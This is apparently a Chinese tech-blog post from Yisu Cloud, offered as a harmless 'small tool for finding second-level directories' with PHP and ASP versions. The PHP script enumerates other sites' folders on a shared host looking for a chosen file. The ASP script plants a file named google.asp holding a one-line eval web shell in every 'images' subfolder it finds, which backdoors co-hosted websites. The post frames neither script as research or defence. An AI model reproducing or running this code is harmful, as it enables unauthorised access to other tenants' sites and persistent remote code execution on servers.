您好,登錄后才能下訂單哦!
這篇文章主要介紹了php如何一個找二層目錄的小東東,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
php版
<?php
set_time_limit(0);
$path = 'D:/Hosting';
$somefile = $_GET['key'];
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path3 = '';
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_GET['dir'])
{
continue;
}
/*
if($filename{1} != $_GET['two'])
{
continue;
}
*/
//$path3 = $path.'/'.$filename.'/html';
$path3 = $path.'/'.$filename;
if(is_dir($path3) && is_readable($path3))
{
@$handle2 = opendir($path3);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo'[+]Found !'.$filename2."\n";
file_put_contents($logfile,'[+]Found !'.$path3.'/'.$filename2."\n",FILE_APPEND);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,'[*]LAST '.$path3."\n",FILE_APPEND);
closedir($handle);
}
}
asp版
<% Server.ScriptTimeout=500000000 key = Trim(Request.QueryString("key")) msg=" <% eval(rquese(Chr(35)))%" &">" Set FSO=Server.CreateObject("Scripting.FileSystemObject") Set ServerFolder=FSO.GetFolder("C:\intel") Set ServerFolderList=ServerFolder.subfolders For Each ServerFileEvery IN ServerFolderList ' Response.write ServerFileEvery&"</br>" If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then Set sServerFolder=FSO.GetFolder(ServerFileEvery) Set sServerFolderList=sServerFolder.subfolders For Each sServerFileEvery IN sServerFolderList If LCase(sServerFileEvery.name) = "images" Then StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" End If Next End If Next Function StreamSaveToFile(sPath, sContent, sCharSet) Dim oStream If(InStr(sPath, ":") <= 0)Then sPath = Replace(sPath, ",", ",") sPath = Server.MapPath(sPath) sPath = Replace(sPath, ",", ",") End If Set oStream = Server.CreateObject("Adodb.Stream") With oStream .Type = 2 .Mode = 3 .Open .Charset = sCharSet .WriteText sContent .SaveToFile sPath, 2 .Close End With Set oStream = Nothing End Function %>
感謝你能夠認真閱讀完這篇文章,希望小編分享的“php如何一個找二層目錄的小東東”這篇文章對大家有幫助,同時也希望大家多多支持億速云,關注億速云行業資訊頻道,更多相關知識等著你來學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。